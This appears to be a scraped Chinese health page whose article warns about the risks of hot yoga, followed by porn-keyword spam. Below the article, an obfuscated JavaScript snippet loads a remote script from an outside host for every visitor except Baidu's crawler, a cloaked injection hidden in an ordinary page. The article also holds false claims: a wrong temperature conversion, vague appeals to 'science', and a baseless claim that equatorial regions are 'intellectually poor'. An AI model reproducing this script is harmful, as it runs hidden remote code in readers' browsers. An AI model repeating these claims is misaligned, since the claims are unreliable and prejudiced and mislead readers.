當(dāng)前位置:首頁(yè) > 健康 > 運(yùn)動(dòng)健身 > 正文

高溫瑜伽時(shí)間選擇什么時(shí)候合適?

2017-04-15 22:59:06  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):隨著社會(huì)節(jié)奏的加快,很多人也開(kāi)始注重生活的質(zhì)量了。而瑜伽正是一種很好的養(yǎng)生方式,很多女明星經(jīng)常在微博上曬自己練習(xí)瑜伽的照片,各種身

隨著社會(huì)節(jié)奏的加快,很多人也開(kāi)始注重生活的質(zhì)量了。而瑜伽正是一種很好的養(yǎng)生方式,很多女明星經(jīng)常在微博上曬自己練習(xí)瑜伽的照片,各種身材好的圖片等等。對(duì)我們這些追星族來(lái)說(shuō),明星做的事情我們也想要做。聽(tīng)說(shuō)最近出現(xiàn)了一種高溫瑜伽,什么是高溫瑜伽呢?高溫瑜伽的練習(xí)時(shí)間是什么時(shí)候呢?

一,高溫瑜伽提倡者說(shuō)負(fù)作用為“零”;

首先這個(gè)說(shuō)法本身就是一種謬誤的觀點(diǎn),是不科學(xué)的.我們知道:在這個(gè)世界上,沒(méi)有任何一種事物是“零”負(fù)面的作用.任何事物的存在都是一分為二的本質(zhì)現(xiàn)象,沒(méi)有任何的絕對(duì)值.

二,高溫瑜伽需要在38讀到40度之間的溫度里練習(xí),我們梢有知識(shí)都知道,人體在超過(guò)自身的高溫環(huán)境下不能長(zhǎng)久的,容易產(chǎn)生的意識(shí)遲緩,焦慮等現(xiàn)象.

我國(guó)勞動(dòng)部門(mén)規(guī)定:在氣溫超越人體溫度時(shí),用工單位要合理的安排人員做休息.科學(xué)曾經(jīng)說(shuō)過(guò),人在高溫下的環(huán)境里,大腦容易產(chǎn)生癡呆性等;警告說(shuō),在超過(guò)身體的核心溫度98.6華氏度{約39.3攝氏度}的環(huán)境里做鍛煉,是有危險(xiǎn)的.另外,我們可以從地球的版圖上可以了解到,但凡離炎熱地球赤道附近的區(qū)域,基本屬于智慧貧窮區(qū).

三,高溫瑜伽的出汗理論.高溫環(huán)境使人的代謝加速旺盛,這本身就是一種快速消耗;經(jīng)過(guò)人體的出汗排毒只是極小的作用,排毒重要的途徑在于“通便,利尿”兩大重要途徑.另外,經(jīng)過(guò)呼吸與飲食結(jié)構(gòu)的調(diào)整也可以作到部分排毒.在練習(xí)“熱瑜伽”或在非常熱的環(huán)境里做任何鍛煉時(shí),卻很普遍.

雖然可以通過(guò)喝水來(lái)補(bǔ)充,但醫(yī)學(xué)知識(shí)提示我們,當(dāng)人因脫水而需要補(bǔ)充喝水時(shí),這個(gè)身體的本身就已經(jīng)受到了傷害.出汗規(guī)律是有不同的;

雖然高溫瑜伽對(duì)人身體的好處多多,但是它對(duì)我們的身體也有很大的傷害。長(zhǎng)期高溫的情況下很容易導(dǎo)致疾病的發(fā)生。雖然身體出汗對(duì)我們的身體有所幫助,但是大量的排汗對(duì)身體會(huì)有很大的傷害,我們的身體需要大量的水份,如果身體長(zhǎng)期處于缺水的狀態(tài),很容易導(dǎo)致疾病的發(fā)生。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
亚洲乱码日产精品BD在线观看| 亚洲高清国产拍精品26U| 亚洲国产成人精品无码区花野真一| 久久精品人人爽人人爽| 91麻豆精品视频| 亚洲精品无码久久久| 国产精品久久免费视频| 四虎精品在线视频| 久久久午夜精品福利内容| 久久成人国产精品免费软件| 无码精品久久久天天影视| 亚洲精品无码Av人在线观看国产| 久久精品国产精品亜洲毛片| 精品国产福利尤物免费| 国产乱码精品一区二区三| 亚洲国产精品碰碰| 亚洲国产成人精品无码久久久久久综合 | 国产精品成人观看视频国产奇米| 伊人久久综合精品无码AV专区| 久久精品免费大片国产大片| 国产精品偷窥熟女精品视频| 精品无码国产自产拍在线观看蜜| 久久久久一级精品亚洲国产成人综合AV区| 一区二区三区免费精品视频| 免费看一级毛片在线观看精品视频| 国产成人综合久久精品| 免费人妻精品一区二区三区| 欲帝精品福利视频导航| 久久99精品久久久久久9蜜桃| 99久久这里只有精品| 国产亚洲精品精华液| 久久精品免看国产| 亚洲精品美女在线观看| 精品久久久久久久国产潘金莲| 久久久无码精品人妻一区| 精品丝袜人妻久久久久久| 日本精品一区二区三区在线视频一| 亚洲国产一成久久精品国产成人综合 | 在线精品国产一区二区三区| 国内精品人妻无码久久久影院 | 国产精品va在线观看一|